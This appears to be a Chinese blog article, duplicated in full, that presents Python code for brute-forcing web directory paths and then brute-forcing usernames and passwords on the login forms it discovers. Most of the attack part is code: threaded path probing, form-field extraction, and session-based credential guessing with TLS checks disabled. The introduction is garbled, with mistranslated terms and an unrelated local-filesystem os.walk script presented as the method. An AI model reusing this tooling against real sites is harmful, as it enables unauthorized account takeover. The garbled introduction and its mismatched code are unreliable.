如何用Python遍历文件夹路径实现表单破解示例?

2026-05-05 13:261阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计735个文字,预计阅读时间需要3分钟。

如何用Python遍历文件夹路径实现表单破解示例?

首先,使用Python遍历路径,采用字典分解的形式。若路径仅是简单的纯裂变路径,可简单地编写一个多线程脚本来执行。以下是对裂变路径进行第二步处理的尝试,以猜测路径为例:

pythonimport osimport threading

如何用Python遍历文件夹路径实现表单破解示例?

存储所有待处理的路径paths=[]

裂变路径处理函数def process_path(path): # 对路径进行猜测或处理 print(f处理路径:{path})

遍历路径并添加到待处理列表def traverse_paths(start_path): for root, dirs, files in os.walk(start_path): for file in files: file_path=os.path.join(root, file) paths.append(file_path)

启动多线程处理路径def start_threads(): threads=[] for path in paths: thread=threading.Thread(target=process_path, args=(path,)) threads.append(thread) thread.start()

for thread in threads: thread.join()

主函数def main(): start_path=C:/example_path # 设置起始路径 traverse_paths(start_path) start_threads()

if __name__==__main__: main()

首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

​首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。

while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: r = requests.get(self.url+queue,timeout=5, headers=self.headers) if r.status_code == 200: print "[200] %s" %(queue) soup = BeautifulSoup(r.content,'html.parser') if soup.find('form'): self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select("form input") for i in input: try: if i.attrs['type'] == "hidden": name, value = i.attrs['name'], i.attrs['value'] list_post.append(name+'='+value) elif i.attrs['type'] == 'password': name = i.attrs['name'] list_post.append(name+'=$$$') else: name = i.attrs['name'] list_post.append(name+'=%%%') except: continue for i in list_post: post = post + i + '&' action = soup.find_all('form') for i in action: if i['action']: actiontag = i['action'] else: actiontag = queue self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

for name in self.username(): post_user = post.replace('%%%',name.strip()) for pwd in self.password(): post_pwd = post_user.replace('$$$',pwd.strip()) session = requests.Session() session.get(self.url+'/'+action, headers=self.headers, verify=False) r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False) if self.word in r.content: print '[username] %s' %name +'\r' + '[password] %s' %pwd return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注易盾网络其它相关文章!

本文共计735个文字,预计阅读时间需要3分钟。

如何用Python遍历文件夹路径实现表单破解示例?

首先,使用Python遍历路径,采用字典分解的形式。若路径仅是简单的纯裂变路径,可简单地编写一个多线程脚本来执行。以下是对裂变路径进行第二步处理的尝试,以猜测路径为例:

pythonimport osimport threading

如何用Python遍历文件夹路径实现表单破解示例?

存储所有待处理的路径paths=[]

裂变路径处理函数def process_path(path): # 对路径进行猜测或处理 print(f处理路径:{path})

遍历路径并添加到待处理列表def traverse_paths(start_path): for root, dirs, files in os.walk(start_path): for file in files: file_path=os.path.join(root, file) paths.append(file_path)

启动多线程处理路径def start_threads(): threads=[] for path in paths: thread=threading.Thread(target=process_path, args=(path,)) threads.append(thread) thread.start()

for thread in threads: thread.join()

主函数def main(): start_path=C:/example_path # 设置起始路径 traverse_paths(start_path) start_threads()

if __name__==__main__: main()

首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。

​首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。

while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: r = requests.get(self.url+queue,timeout=5, headers=self.headers) if r.status_code == 200: print "[200] %s" %(queue) soup = BeautifulSoup(r.content,'html.parser') if soup.find('form'): self.brute(soup, queue)

猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。

input = soup.select("form input") for i in input: try: if i.attrs['type'] == "hidden": name, value = i.attrs['name'], i.attrs['value'] list_post.append(name+'='+value) elif i.attrs['type'] == 'password': name = i.attrs['name'] list_post.append(name+'=$$$') else: name = i.attrs['name'] list_post.append(name+'=%%%') except: continue for i in list_post: post = post + i + '&' action = soup.find_all('form') for i in action: if i['action']: actiontag = i['action'] else: actiontag = queue self.payload(post, actiontag)

获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。

for name in self.username(): post_user = post.replace('%%%',name.strip()) for pwd in self.password(): post_pwd = post_user.replace('$$$',pwd.strip()) session = requests.Session() session.get(self.url+'/'+action, headers=self.headers, verify=False) r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False) if self.word in r.content: print '[username] %s' %name +'\r' + '[password] %s' %pwd return

为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为

python xxx.py xxxx.com xxxxx

以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注易盾网络其它相关文章!